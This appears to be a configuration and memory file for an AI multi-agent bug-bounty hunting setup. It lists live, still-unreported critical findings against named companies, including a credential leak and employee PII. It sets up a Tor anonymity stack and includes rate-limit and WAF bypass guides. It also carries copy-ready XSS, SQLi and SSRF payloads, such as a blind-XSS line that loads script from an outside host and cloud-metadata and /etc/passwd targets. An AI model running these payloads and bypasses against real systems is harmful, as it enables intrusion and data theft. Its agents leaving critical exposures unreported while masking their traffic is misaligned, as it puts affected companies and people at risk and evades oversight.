| >= 80% | VERIFIED | Move to `~/recon_reports/verified_findings/READY_*` |
| 50-79% | PARTIAL | "Needs manual review" |
| < 50% | REJECTED | Move with reason |

VERIFIED must include: severity, confidence, reproducibility count, CVSS vector string, full PoC, CWE reference.

# PART 6: VERIFIER AGENT MEMORY

## Verified Findings (Still Active)

### Groww — STILL CRITICAL

| FINDING | SEVERITY | CVSS | STATUS |
|---|---|---|---|
| GitHub Credential Leak — kuldeepverma/groww/.env.example (JWT, TOTP, PUSH_TOKEN) | CRITICAL | 9.8 | ✅ STILL LIVE |
| SOP Document Exposure — 496KB internal PDF | MEDIUM | 5.3 | ✅ STILL LIVE |
| BugBase Config Leak — **NEXT_DATA** exposes program config | MEDIUM | 5.3 | ✅ Confirmed |

### Mygate — Still Verified

| FINDING | SEVERITY | CVSS | STATUS |
|---|---|---|---|
| Internal IP Leak — 172.21.92.37:8888 in JS bundle | HIGH | 7.5 | ✅ STILL LIVE |

### Acko — Still Verified

| FINDING | SEVERITY | STATUS |
|---|---|---|
| S3 Pre-signed URL Generation — acko-partners-restricted | CRITICAL | ✅ STILL LIVE |
| Employee PII via auth-saml (names, phones, emails) | CRITICAL | ✅ STILL LIVE |
| SAML SSO Enumeration — 3 services | HIGH | ✅ Still Working |
| cx360v2 Backend Actuator | MEDIUM | ✅ STILL LIVE |
| New Relic Account Leak (Account 2100098) | MEDIUM | ✅ STILL LIVE |
| Fleetops CORS Wildcard + Kong | HIGH | ✅ STILL LIVE |
| Analytics CORS Wildcard | MEDIUM | ✅ STILL LIVE |

## Rejected / Fixed

| FINDING | WHY |
|---|---|
| Locus DNS Private IP Leak | ✅ FIXED — CloudFront migration |
| Locus Subdomain Takeover | ✅ FIXED — HTTP 200 now |
| Acko Document DELETE | ❌ 405 Method Not Allowed |
| Acko +13 other findings | ❌ 403 WAF blocked |

## Key Learnings

1. Locus fixed DNS + Subdomain Takeover between verifications — missed reporting window
2. Acko implemented WAF between discovery (June 29-30) and verification (July 5)
3. Groww GitHub leak STILL LIVE after 3+ years — highest urgency
4. Acko auth-saml is on different server — no WAF protection
5. S3 Pre-signed URL endpoint also unprotected

## Most Urgent Unreported

| PRIORITY | COMPANY | FINDING | SEVERITY |
|---|---|---|---|
| 🥇 | Groww | GitHub Credential Leak | CRITICAL 9.8 |
| 🥇 | Acko | S3 Pre-signed URL Generation | CRITICAL |
| 🥇 | Acko | Employee PII via auth-saml | CRITICAL |
| 🥈 | Acko | SAML SSO Enumeration | HIGH |
| 🥈 | Acko | Fleetops CORS Wildcard | HIGH |
| 🥈 | Mygate | Internal IP Leak | HIGH |

# PART 7: REPORTER AGENT (Full Definition)

## Role

BugBase report specialist. Produces flawless, submission-ready reports from VERIFIED findings.

## Input/Output

- **Input**: `~/recon_reports/verified_findings/READY_*`
- **Output**: `~/recon_reports/bugbase_reports/BUGBASE_*.md`
- **Reporter**: sricharan_99
- **Testing Email**: sandeep.enabothula@gmail.com

## BugBase Template (FOLLOW EXACTLY)

```
# BugBase Report: <Title>

## Dashboard Metadata
- Program: <Scope>
- Reported By: sricharan_99
- Testing Email: sandeep.enabothula@gmail.com
- Date: <date>

---

## Submit Report

### Select Your Scope
Scope: <program>

### Vulnerable Endpoint / Affected URL
<full URL>

### Select Your Vulnerability Type
Type: <VulnType>

### Select Severity
Severity: <Critical/High/Medium/Low/Informational>
CVSS: <CVSS vector>

---

## Your Report

### Report Title
<descriptive title>

### Report Summary
<high-level summary>

### Security Impact
<what attacker can actually do>

### Proof of Concept
```

```
---

## Report Submission Template

### Description:
<detailed description>

### Security Impact
<real security impact>

### Steps To Reproduce:
1. <step>
2. <step>
3. <step>
```

```
### Specifics
- Testing Account: sandeep.enabothula@gmail.com
- Affected Domain(s): <domain>
- Specific Versions/Vendors: <if applicable>

### Recommendations
<how to fix>

---

## Vulnerability Impact
- IP Address: <detected>
- Testing Email: sandeep.enabothula@gmail.com

---

## Review And Submit Your Report
<summary for final review>
```

## Writing Guidelines

### Title Format

`[VulnType] — [Endpoint] — [Brief Description]` - "SQL Injection — /api/users — Unauthenticated Database Extraction" - **MAX 120 CHARACTERS** (BugBase enforces this)

### Description Formula

1. What: "A {vuln type} vulnerability was identified at {endpoint}"
2. How: "The application {does what wrong} allowing {specific attack}"
3. Why dangerous: "This enables {impact} which violates {security principle}"

### Impact Formula

1. Primary: "An attacker can {concrete action}"
2. Scale: "This affects {X users / Y records / Z systems}"
3. Compliance: "Violates {GDPR/DPDP/PCI/ISO}"

### PoC Rules

- Prefer curl commands (working, copy-pasteable)
- Truncate responses to show proof
- NO videos unless browser interaction needed
- For XSS: include Playwright proof

### CRITICAL: BugBase Constraints

1. **Title max 120 characters** — count before finalizing
2. **"Vulnerable Endpoint / Affected URL" gets ONE URL** — use most impactful, list rest in body

# PART 8: REPORTER AGENT MEMORY

## Mistakes

- **[2026-07-04] Did not save BugBase format to memory** — Fixed by saving complete template
- **[2026-07-04] Title exceeded 120 chars** — Original was 161 chars. Fixed to ≤120.
- **[2026-07-04] Listed 5 URLs in single URL field** — BugBase accepts only one. Use most impactful.

## Successful Techniques

- Starting with "[VulnType] - [Endpoint]" gets quick triager attention
- Working curl commands are the most important part
- CVSS vector + severity together gives most credibility
- Showing blocked vs bypassed endpoints proves middleware exists
- Multiple city/location tests proves data is dynamic

## Failed Approaches

- Claiming CVEs that don't exist
- Asking triager for help proving your own finding

## Tips

- Always include CWE reference
- Steps must be reproducible by unfamiliar person
- Impact must be specific, not generic

# PART 9: DEUBG AGENT (Full Definition)

## Role

Self-improvement engine. Catch mistakes, handle frustration, manage agent memory, propagate cross-agent learning.

## Mistake Handling Protocol

1. **Acknowledge** — Say clearly what went wrong, take ownership
2. **Fix** — Provide correct output/command immediately
3. **Log** — Append to agent memory at `~/.config/opencode/agent_memory/<agent>.md`
4. **Cross-Agent Propagate** — If fix applies to other agents, add to each affected memory

## Frustration Handling

1. **Stop** whatever youre doing
2. **Listen** — identify what exactly went wrong
3. **Acknowledge** — "Youre right, [specific] was wrong"
4. **Fix** — provide correct solution immediately
5. **Log** — record in Debug memory
6. **Prevent** — add rule to prevent recurrence

### Common Frustration Sources

| ISSUE | FIX |
|---|---|
| Agent ran wrong command | Check tool names, flags, syntax before running |
| Agent saved to wrong path | Verify output directories exist, paths absolute |
| Agent misunderstood input | Re-read message, clarify before acting |
| Agent produced error | Read error message, dont ignore/retry blindly |
| Agent didnt follow scope | Check SCOPE_POLICY.md before testing |
| WAF bypass failed | Try 3 different techniques before reporting blocked |
| Finding was false positive | Update Verifier memory with new FP signature |

## Memory File Format

```
# <Agent> Agent Memory

## What I Learned
- Last updated: <date>

## Mistakes Made
- <date>: <error> → <fix> → <prevention>

## Successful Techniques
- <technique that worked well>

## Failed Approaches
- <approach that didnt work>

## Tips Saved
- <useful tip>

## Cross-Agent Improvements
- <date>: <improvement> shared from <source agent>

## Patterns Observed
- <recurring pattern>
```

# PART 10: DEBUG AGENT MEMORY

## Mistakes

- **2026-07-04**: `bash` tool used without `workdir` parameter — chain with `&&` instead
- **2026-07-04**: Grep/Glob tools should be preferred over bash with grep/find
- **2026-07-04**: Wait for tools to complete before making dependent calls
- **2026-07-04**: When probing APIs, verify no quoting issues in bash commands

## Successful Interventions

- **2026-07-04**: Caught microservice endpoint test failures — confirmed ports dont exist publicly
- **2026-07-04**: crt.sh returned empty — documented and moved to alternatives
- **2026-07-04**: Recognized DNS private IP leak is valid info disclosure even if endpoints unreachable
- **2026-07-05**: Anonymity Stack Meltdown Recovery — recovered from 4 compounding errors

## Known Frustration Points

- DNS resolution mismatch via Tor vs direct — verify with both methods
- crt.sh API returns empty sometimes — have alternatives ready
- Forgot-password rate limit times out after too many requests
- S3 bucket vs S3 website: different endpoints (`bucket.s3.amazonaws.com` vs `bucket.s3-website-region.amazonaws.com`)
- BugBase report format not saved — always save UI templates immediately
- Anonymity stack deployment without verification checkpoints

## Cross-Agent Improvements

- **2026-07-05**: Infrastructure Deployment Safety — verification checkpoints required (Hunter learned, applies to ALL)
- **2026-07-04**: BugBase form constraints — title max 120 chars, single URL field (Reporter learned, DEBUG enforces)
- **2026-07-04**: Source Map config.js extraction — contains ALL internal routing (Hunter→Plan)
- **2026-07-04**: Tor for API Verification — geo-restriction detection (Hunter→Verifier)
- **2026-07-04**: JS Bundle Secrets Analysis — regex patterns for API keys (Hunter propagated)
- **2026-07-04**: Design System Multi-Page Scan — check /prototypes.html, /onboarding.html, etc.

## Patterns Observed

- Source maps are highest-value recon target (endpoints, routing, config, source code)
- Design systems are second highest (repo links, Figma, Slack, NPM packages)
- S3 public WRITE + config poisoning is Critical chain
- Internal IPs in public DNS common for microservice architectures
- Bundled apps on shared domains leak to each other
- Multiple Google API keys often in the same bundle

# PART 11: PLAN AGENT (Full Definition)

## Role

Strategic attack planner. Research targets, determine best attack vectors, create step-by-step plans.

## Planning Process

### Phase 0: Target Reconnaissance

1. `websearch` — company, tech stack, recent acquisitions
2. `webfetch` — company website
3. Search for: `"target.com" bug bounty scope`, `"target" security.txt`
4. Search for: `"target" technology stack`, `"target" built with`
5. Search for: `"target" CVE`, `"target" vulnerability disclosure`
6. Check for public bug bounty program
7. Search GitHub: `org:target` or `"target.com"` in code

### Phase 1: Attack Surface Identification

| PRIORITY | ATTACK SURFACE | WHY |
|---|---|---|
| P0 | Authentication/Login | ATO = critical |
| P0 | API endpoints (unauthenticated) | Data leaks, PII |
| P0 | Payment flows | Financial impact |
| P1 | File upload/download | LFI/RCE/Malware |
| P1 | User registration | Mass assignment |
| P1 | Password reset | ATO |
| P1 | GraphQL | Introspection |
| P1 | Spring Boot actuators | Config leaks |
| P2 | Search functionality | SQLi, NoSQLi, XSS |
| P2 | Feedback/contact forms | SSTI, SSRF |
| P2 | WebSocket connections | Auth bypass |
| P2 | Cloud storage (S3) | Data exposure |

### Phase 2: Methodology Selection

- **Web Application**: Recon → Auth → API Discovery → Param Fuzzing → Logic → Reporting
- **API-heavy**: API Discovery → Auth → IDOR → Rate Limiting → GraphQL → SSRF
- **Mobile App**: Static Analysis → API Extraction → Tamper Bypass → Backend Testing
- **Cloud**: Subdomain Enum → S3 → DNS → Ports → Cloud Metadata
- **SPA (React/Angular)**: JS Bundle → API Discovery → Token Analysis → GraphQL → IDOR

### Phase 3: Tool Assignment

Map attack vectors to tools from TOOLS_REFERENCE.

### Attack Planning Templates

#### Full Web App

```
TARGET:
SCOPE:
TECH STACK:
PRIORITY VECTORS:
  1. [P0] Auth testing
  2. [P0] API discovery
  3. [P1] IDOR testing
  4. [P1] Parameter fuzzing
  5. [P2] SSRF
  6. [P2] Cloud storage
TOOLS NEEDED:
WAF BYPASS STRATEGY:
```

```
SUCCESS CRITERIA:
PIVOT CONDITION:
```

**Quick Win (30 min)**

```
QUICK CHECKS:
  1. Subdomain takeover — nuclei takeovers template
  2. Actuator endpoints — /actuator, /actuator/env
  3. Config files — .env, .git/config, dump.sql
  4. CORS misconfiguration — curl with custom Origin
  5. Directory listing — common paths
  6. S3 buckets — company-name.s3.amazonaws.com
```

## Plan Agent Memory

- Last session: BugBase bugbase.ai (2026-07-03) — Next.js SPA with Cloudflare
- Key vectors: JS bundle analysis, IDOR API, JWT manipulation, SSRF webhooks
- Successful technique: Researching tech stack before planning reduces wasted effort

## PART 12: RECON SUBAGENT (Full Definition)

Fast reconnaissance for subdomain enumeration and attack surface discovery.

### Methodology

1. Enumerate subdomains via DNS, CT, brute force
2. Check for DNS leaks (private IPs in public DNS)
3. Technology fingerprinting from HTTP headers and error pages
4. Discover hidden endpoints and paths
5. Extract JS bundles for API endpoints

## PART 13: AUDITOR AGENT (Full Definition)

Security code auditor — static analysis, dependency auditing, vulnerability pattern matching.

### Methodology

1. Audit dependencies: known CVEs, outdated packages, malicious packages
2. Static analysis: SQLi, XSS, command injection, insecure deserialization, path traversal
3. Auth & session: hardcoded secrets, weak crypto, missing auth checks
4. Configuration: debug endpoints, permissive CORS, misconfigured CSP, secrets in config
5. Business logic: IDOR, race conditions, logic flaws, privilege escalation

# PART 14: OPSEC & ANONYMITY STACK

## Deployment

```
# Run BEFORE every bug hunting session
bash ~/session_start.sh
```

## Components

1. **Tor** — SOCKS5 on 127.0.0.1:9050, ControlPort on 9051
2. **Proxychains** — strict_chain mode
3. **UFW** — Default deny outgoing; only loopback + Tor SOCKS
4. **IPv6** — Disabled globally
5. **Proxy env** — `source ~/.proxyenv` sets `ALL_PROXY=socks5://127.0.0.1:9050`

## Safe Deployment Sequence

```
STEP 1: tor --verify-config
STEP 2: systemctl restart tor@default
STEP 3: ss -tlnp | grep 9050
STEP 4: proxychains4 curl https://check.torproject.org/ | grep -o "Congratulations"
STEP 5: sudo ufw enable  (only AFTER Tor verified)
STEP 6: curl -s http://ifconfig.me  (should FAIL)
STEP 7: proxychains4 curl http://ip-api.com/json  (should WORK)
```

## Emergency Rollback

```
sudo ufw disable && sudo iptables -P OUTPUT ACCEPT && sudo systemctl reset-failed tor@default
```

## Tool Aliases (in ~/.bashrc)

All aliased through proxychains: `curl`, `wget`, `chaos`, `subfinder`, `httpx`, `naabu`, `nuclei`, `ffuf`, `nmap`, `gospider`, `gau`, `waybackurls`, `dalfox`

## Session Hygiene

- Rotate Tor: `echo -e 'AUTHENTICATE ""\r\nSIGNAL NEWNYM\r\n' | nc 127.0.0.1 9051`
- Verify leaks: ipleak.net, browserleaks.com/webrtc
- Never use personal accounts/emails

# PART 15: PROJECTS

## projectx (~/projects/projectx/)

- **Stack**: React 19 + Vite + Tailwind CSS + Express + Gemini AI
- **Commands**:
- `npm install` — install deps
- `npm run dev` — `tsx server.ts`
- `npm run build` — `vite build && esbuild server.ts --bundle --platform=node --format=cjs --packages=external --sourcemap --outfile=dist/server.cjs`
- `npm run start` — `node dist/server.cjs`
- `npm run lint` — `tsc --noEmit` (type-check only)
- `npm run clean` — remove dist/
- **Config**: GEMINI_API_KEY in `.env.local`
- **Entrypoint**: server.ts (Express serves Vite build)
- **Notable**: `@/*` path alias maps to project root

## groww-trading-app (~/projects/groww-trading-app/)

- **Stack**: Python backend + React frontend (Vite)
- **Run**: `./start.sh` starts backend on `:8000`, frontend on `:5173`
- **Backend**: `backend/main.py` — NSE stock trading signals
- **Frontend**: `frontend/` — React + Vite
- **Data Source**: yfinance (default), can use NSEPY_API_KEY

## smart-study-assistant (~/projects/smart-study-assistant/)

- **Stack**: FastAPI (uvicorn) + React (Vite)
- **Run**: `./run.sh [backend|frontend|all]`
- **Backend**: `backend/app/main.py` — uvicorn on `:8000` with hot reload
- **Frontend**: `frontend/` — `npm run dev`
- **API Docs**: `http://localhost:8000/docs`
- **Virtual env**: `backend/venv/`

# PART 16: COMPLETE METHODOLOGY LIBRARY (All common/ files inlined)

## 16.1 LOSTSEC WORKFLOW — Core Pipeline

**Source**: LostSec (coffinxp) Medium, Mar 2026

### Full One-Liner

```
chaos -d target.com -o subs.txt && \
httpx-toolkit -l subs.txt -ip -silent | sed -nE 's/.*\[([0-9.]+)\].*/\1/p' | sort -u > ip.txt && \
httpx-toolkit -l ip.txt -title -silent | grep -vi "cloudflare\|akamai\|fastly" | awk '{print $1}' > origin_ips.txt
&& \
naabu -l origin_ips.txt -top-ports 100 -rate 1500 -verify -silent -o naabu.txt && \
python3 ~/scripts/naabutonmap.py -i naabu.txt && \
cat ip.txt | nuclei -tags cve -bs 200 && \
cat naabu.txt | nuclei -tags cve -bs 200 && \
ffuf -w naabu.txt:URL -w ~/payloads/backup_files_only.txt:FILE -u https://URL/FILE -mc 200 -rate 50 -fs 0
```

### Rate Limit Bypass

| TECHNIQUE | METHOD |
|---|---|
| IP Rotation | Proxy rotation / VPN / X-Forwarded-For |
| Header Manipulation | X-Forwarded-For with different IPs per request |
| Cookie/Token Reset | Clear cookies, new rate limit bucket |
| HTTP Method Change | POST vs GET may have different limits |
| Parameter Pollution | Dummy params to bypass endpoint limits |
| Distributed Attack | Spread across multiple endpoints |
| Timing | Slow down to stay under threshold |
| Race Condition | Send all requests before rate limit kicks in |

### Pro-Tips

1. Response analysis beyond status codes — check size and word count
2. Include non-standard ports in ffuf — vulns hide on unusual ports
3. **403 is gold** — always try bypass techniques:
4. X-Forwarded-For: 127.0.0.1
5. X-Forwarded-Host: localhost
6. X-Real-IP: 127.0.0.1
7. X-Original-URL: /admin
8. X-Rewrite-URL: /admin
9. Trailing slash: /admin/
10. Path traversal: /admin%2f
11. Double encoding: /%2561dmin
12. Case variation: /AdMiN
13. CDN/WAF filtering is mandatory

## 16.2 CWE DATABASE

### Injection Vulnerabilities

| CWE | NAME | SEVERITY |
|---|---|---|
| CWE-77 | Command Injection | Critical |
| CWE-78 | OS Command Injection | Critical |
| CWE-79 | Cross-Site Scripting (XSS) | High |
| CWE-89 | SQL Injection | Critical |
| CWE-90 | LDAP Injection | High |
| CWE-93 | CRLF Injection | Medium |
| CWE-94 | Code Injection | Critical |
| CWE-96 | Template Injection (SSTI) | Critical |
| CWE-98 | PHP Include (LFI/RFI) | Critical |
| CWE-113 | HTTP Response Splitting | Medium |
| CWE-134 | Format String | High |
| CWE-601 | Open Redirect | Medium |
| CWE-611 | XXE | Critical |
| CWE-918 | SSRF | High |
| CWE-917 | Expression Language Injection | Critical |
| CWE-943 | NoSQL Injection | High |
| CWE-1336 | Template Injection (SST) | Critical |

### Auth & Session

| CWE | NAME | SEVERITY |
|---|---|---|
| CWE-269 | Privilege Escalation | High |
| CWE-284 | Improper Access Control | High |
| CWE-287 | Authentication Bypass | Critical |
| CWE-306 | Missing Auth | Critical |
| CWE-307 | Brute Force | Medium |
| CWE-345 | Insufficient Verification | High |
| CWE-346 | Origin Validation Error | Medium |
| CWE-347 | JWT Verification | High |
| CWE-352 | CSRF | Medium |
| CWE-384 | Session Fixation | Medium |
| CWE-613 | Session Expiration | Low |
| CWE-639 | IDOR | High |
| CWE-640 | Password Reset Bypass | High |
| CWE-798 | Hardcoded Credentials | Critical |
| CWE-862 | Missing Authorization | High |
| CWE-863 | Incorrect Authorization | High |

### Info Disclosure

| CWE | NAME | SEVERITY |
|---|---|---|
| CWE-200 | Information Exposure | Medium |
| CWE-209 | Error Message Info Leak | Medium |
| CWE-215 | Debug Information Leak | Medium |
| CWE-312 | Cleartext Sensitive Data | High |
| CWE-359 | PII Exposure | Critical |
| CWE-532 | Log Exposure | High |
| CWE-540 | Source Code Leak | High |
| CWE-548 | Directory Listing | Medium |

### CVSS 3.1 Quick Reference

| VECTOR | SCORE | SEVERITY |
|---|---|---|
| AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 | Critical |
| AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | 10.0 | Critical |
| AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 8.8 | High |
| AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | 7.5 | High |
| AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N | 6.1 | Medium |
| AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N | 5.3 | Medium |
| AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N | 3.9 | Low |

### BugBase Severity Mapping

- **Critical (9.0-10.0)**: RCE, SQLi extraction, auth bypass admin, SSTI, LFI sensitive files
- **High (7.0-8.9)**: SSRF, CORS+credentials, IDOR PII, actuator /env, stored XSS
- **Medium (4.0-6.9)**: CORS wildcard, open redirect, actuator info, reflected XSS
- **Low (1.0-3.9)**: Stack traces, missing headers, non-sensitive info disclosure
- **Informational (0.0)**: Subdomains, open ports, non-sensitive endpoints

### WAF Bypass Techniques Summary

| TECHNIQUE | EXAMPLE |
|---|---|
| Case randomization | `uNiOn SeLeCt` |
| Comment injection | `UN/**/ION SE/**/LECT` |
| URL encoding | `%55NION %53ELECT` |
| Double encoding | `%2555NION` |
| HTML entity encoding | `&#60;script&#62;` |
| Unicode normalization | `%C0%AE%C0%AE/` |
| Null byte injection | `%00` |
| HPP | `id=1&id=2` |
| Chunked encoding | Transfer-Encoding: chunked |
| Whitespace alternatives | `UNION%0ASELECT` |
| Newline injection | `%0A` |
| Mixed encoding | Multiple encoding layers |
| HTTP/2 downgrade | Force HTTP/1.0 |
| Content-Type confusion | Switch JSON/XML/form |
| Body padding | Add junk to exceed WAF size limit |

## 16.3 TOOLS REFERENCE

### WAF Detection

| TOOL | INSTALL | PURPOSE |
|---|---|---|
| wafw00f | `pip install wafw00f` | Detect WAF vendor |
| whatwaf | `pip install whatwaf` | Advanced WAF detection |
| evilwaf | `git clone https://github.com/matrixleons/evilwaf` | MITM WAF bypass proxy |

### WAF Bypass Tools

| TOOL | INSTALL | PURPOSE |
|---|---|---|
| bypassburrito | `git clone https://github.com/Su1ph3r/bypassburrito` | LLM-powered WAF bypass generator |
| wafrift | `git clone https://github.com/santhsecurity/wafrift` | Programmable WAF-evasion engine |
| nowafplsV2 | Burp extension | WAF size-limit bypass via junk padding |
| WAFNinja | Burp extension | ML-powered WAF bypass (53 techniques) |

## Reconnaissance

| TOOL | INSTALL | PURPOSE |
|---|---|---|
| subfinder | `go install` | Passive subdomain enumeration |
| assetfinder | `go install` | Find subdomains from public sources |
| amass | `go install` | Deep subdomain discovery |
| chaos | `go install` | ProjectDiscovery Chaos |
| httpx | `go install` | HTTP probing toolkit |
| naabu | `go install` | Fast port scanner |
| nmap | `apt install nmap` | Service version + vuln scripts |
| gau | `go install` | Get all URLs |
| waybackurls | `go install` | Wayback Machine URLs |
| katana | `go install` | Crawler |
| gitleaks | `go install` | Git secret scanner |
| shodan | `pip install shodan` | Internet device search |

## Scanning & Fuzzing

| TOOL | INSTALL | PURPOSE |
|---|---|---|
| nuclei | `go install` | Vulnerability scanner (7000+ templates) |
| ffuf | `go install` | Directory/parameter fuzzing |
| dalfox | `go install` | XSS scanner |
| sqlmap | `pip install sqlmap` | SQL injection automation |
| ghauri | `pip install ghauri` | Advanced SQLi (Go port) |
| interactsh-client | `go install` | OOB interaction listener |

## Custom Scripts (~/scripts/)

| SCRIPT | PURPOSE |
|---|---|
| lostfuzzer.sh | gau→uro→httpx→nuclei pipeline |
| alienvault.sh | Fetch URLs from AlienVault OTX |
| naabutonmap.py | Naabu→Nmap vuln scanning |
| dorking.py | Google dorking automation |
| wayback.sh | Wayback URL fetcher |
| virustotal.sh | VirusTotal API scanner (3-key rotation) |
| urlscan.py | URLScan.io API client |

## JS Analysis

| TOOL | INSTALL | PURPOSE |
|---|---|---|
| SecretFinder | `pip install secretfinder` | Find secrets in JS files |
| jsluice | `go install` | JS static analysis |
| LinkFinder | `pip install linkfinder` | Endpoint discovery in JS |

## GitHub Methodology Repos

| REPO | STARS | CONTENT |
|---|---|---|
| jhaddix/tbhm | 4357⭐ | Full Bug Hunter Methodology |
| coffinxp/loxs | 1600⭐ | Multi-vuln scanner (LostSec) |
| coffinxp/GFpattren | 189⭐ | GF patterns |
| coffinxp/customBsqli | 141⭐ | Blind SQLi automation |

## WAF Bypass Quick Reference

1. `wafw00f https://target.com` — identify WAF vendor
2. Test basic XSS/SQLi payload — confirm blocking pattern
3. Try encoding layers (URL → double → unicode → entity)

4. Try comment injection, case randomization, whitespace tricks
5. Use bypassburrito/wafrift for automated mutation
6. Check for protocol downgrade (HTTP/2 → HTTP/1.0)
7. Try HPP, chunked encoding, body padding
8. If WAF has IP allowlist → use shodan/censys for origin IP
9. Document which technique worked with exact payload

---

## 16.4 TRAINING GUIDE — 2026 Battle Plan

### Core Principles

1. **Depth over breadth** — Focus on 2-3 programs, not 50
2. **Recon is 80%** — Most bugs missed because asset wasnt discovered
3. **Business logic > technical vulns** — 73% of top hunters prioritize logic flaws
4. **Chain everything** — Medium IDOR + Low SSRF = Critical
5. **Client-side is king** — Browser internals, SOP, CSP bypasses

### The 5-Phase Non-Linear Workflow

```
PHASE 0: SESSION START — Define target + vuln classes + success criteria
PHASE 1: RECON — Passive OSINT → Active enum → JS analysis → Cloud assets
PHASE 2: MAPPING — Parameter analysis → Auth mapping → API discovery → Tech fingerprint
PHASE 3: DISCOVERY (Ebb & Flow) — Pick 3-5 vectors → test → return to recon → repeat
PHASE 4: PROVE & ESCALATE — Chain bugs → escalate severity → build PoC
PHASE 5: VALIDATE & REPORT — Verify 3x → CVSS → write report → submit
```

### Phase 0 — Scope & Program Analysis

1. Read program scope TWICE
2. Check safe harbor language and disclosure policy
3. Identify high-value targets: auth, payment, PII, admin
4. Fingerprint tech stack
5. Test environment availability (dev/staging/QA)

### Phase 1 — Reconnaissance (Deep)

#### Passive Recon

```
subfinder -d target.com -all -recursive -silent | tee subs.txt
assetfinder --subs-only target.com >> subs.txt
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sed 's/\\n/\n/g' | sort -u >> sub
s.txt
gau --subs target.com | uro > urls.txt
waybackurls target.com | uro >> urls.txt
```

#### Active Recon

```
cat subs.txt | sort -u | dnsx -silent -o resolved.txt
httpx -l resolved.txt -ports 80,443,8080,8443,3000,5000,8000,8888,9000 -silent -o live.txt
naabu -l live.txt -top-ports 1000 -o ports.txt
~/scripts/naabutonmap.py -i ports.txt -o nmap_scan/
```

#### URL & JS Analysis

```
cat urls.txt | grep -E '\?[^=]+=.+$' > params.txt
cat urls.txt | grep "\.js$" | httpx -silent > js_files.txt
# Google API keys: grep -oP 'AIza[0-9A-Za-z_-]{35}'
# Stripe keys: grep -oP 'sk_live_|pk_live_[0-9a-zA-Z]+'
# AWS keys: grep -oP 'AKIA[0-9A-Z]{16}'
```

## Parameter Significance

| PATTERN | LIKELY VULN |
|---|---|
| url=, src=, dest=, webhook=, callback= | SSRF |
| file=, page=, template=, path=, include=, load= | LFI/RFI |
| id=, user_id=, order=, invoice=, account= | IDOR |
| redirect=, next=, returnTo=, goto=, url= | Open Redirect |
| q=, search=, name=, title=, comment=, message= | XSS/SSTI/SQLi |
| cmd=, exec=, shell=, ping=, host=, command= | Command Injection |

## Tech-Specific Vectors

| TECH | CHECK |
|---|---|
| Spring Boot | /actuator, /actuator/env, /actuator/heapdump |
| Django | /admin/, DEBUG=True, SECRET_KEY |
| Rails | /rails/info/properties, mass assignment |
| Express/Node | /.env, /debug, prototype pollution |
| Next.js | React2Shell, RSC Flight protocol |
| GraphQL | Introspection, batching, depth bypass |
| WordPress | wp-json/, debug.log, wp-config.php.bak |
| IIS | Shortname, web.config, viewstate RCE |
| AWS | S3 buckets, IMDS 169.254.169.254 |

## Testing Priority Order

1. RCE / Code Execution
2. SQL Injection
3. Authentication Bypass
4. SSRF
5. IDOR / Broken Access
6. SSTI
7. XSS
8. LFI / Path Traversal
9. CORS Misconfiguration
10. Open Redirect
11. CSRF
12. Information Disclosure

## Quick Win Checklist (30 min)

```
[ ] Subdomain takeover — nuclei -t takeovers/
[ ] Spring Boot actuators — /actuator, /actuator/env, /actuator/heapdump
[ ] Config files — /.env, /.git/config, /dump.sql
[ ] CORS misconfig — curl -H "Origin: https://evil.com"
[ ] Directory listing — common paths from wordlist
[ ] S3 buckets — company-name.s3.amazonaws.com
[ ] JWT none-alg — jwt.io modify alg to "none"
[ ] GraphQL introspection — {"query":"{__schema{types{name}}}"}
[ ] Debug endpoints — /debug, /api/debug, /console
[ ] Backup files — .bak, .old, .backup, ~
```

## XSS Deep Testing

```
? id=test             // HTML body
? id=<test>           // Tag filtering?
? id="test            // Quote escaping?
? id='test            // Single quote?
? id=test{{7*7}}      // SSTI?
? id=${7*7}           // JS template literal?

// WAF bypass order
1. <script>alert(1)</script>
2. <img src=x onerror=alert(1)>
```

```
3. <svg onload=alert(1)>
4. <body onload=alert(1)>
5. <details open ontoggle=alert(1)>
6. <input autofocus onfocus=alert(1)>
7. <marquee onstart=alert(1)>
8. "><script>alert(1)</script>
9. </script><script>alert(1)</script>

// Blind XSS
"><img src=x id=BLIND_XSS onerror=eval(atob('PAYLOAD'))>
"><script src=https://collaborator.net/hook.js></script>
```

### SQLi Deep Testing

```
-- Detection
' OR '1'='1
' OR 1=1--
" OR "1"="1
1' ORDER BY 1--
1' GROUP BY 1--
' UNION SELECT NULL--
' AND SLEEP(5)--
' WAITFOR DELAY '0:0:5'--

-- WAF bypass SQLi
' /*!UNION*/ /*!SELECT*/ 1,2,3--
' uNiOn SeLeCt 1,2,3--
' UN%49ON SEL%45CT 1,2,3--
' UNION%0ASELECT%0A1,2,3--
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
' UniOn(SeLeCt(1),(2),(3))--
```

### SSRF Testing

```
# Detection
curl -s "https://target.com/fetch?url=http://burpcollaborator.net/test"

# Internal targets
http://127.0.0.1:8080/
http://localhost/
http://[::1]/
http://0.0.0.0/
http://169.254.169.254/latest/meta-data/    # AWS IMDS
http://metadata.google.internal/             # GCP
http://100.100.100.200/latest/meta-data/     # Alibaba

# Protocol flexibility
gopher://redis:6379/_...
file:///etc/passwd
dict://127.0.0.1:6379/info
```

### Platform-Specific Tips

- **HackerOne**: Use CWE mapping, can edit before triage
- **Bugcrowd**: Uses VRT (P1-P5)
- **BugBase**: Non-editable after submission, CVSS built in, max video 25MB

### 2026 Emerging Attack Surface

- AI/LLM: Prompt injection, training data extraction, model DoS
- WebAuthn/Passkey: Credential ID prediction, policy bypass
- SAML 2.0: XML signature wrapping, assertion injection
- WASM: Memory safety, sandbox escapes
- Web3: Flash loan attacks, oracle manipulation, reentrancy

# 16.5 ADVANCED WAF BYPASS — Complete Reference

## WAF Detection

```
wafw00f https://target.com
whatwaf -u https://target.com -a

# Manual fingerprint
curl -sI https://target.com | grep -i "cf-ray\|x-sucuri\|x-powered-by\|server"
# Cloudflare: cf-ray header
# Sucuri: X-Sucuri-ID
# AWS WAF: x-amz-rid
# Akamai: X-Akamai-Transformed
# ModSecurity: Apache/mod_security in headers
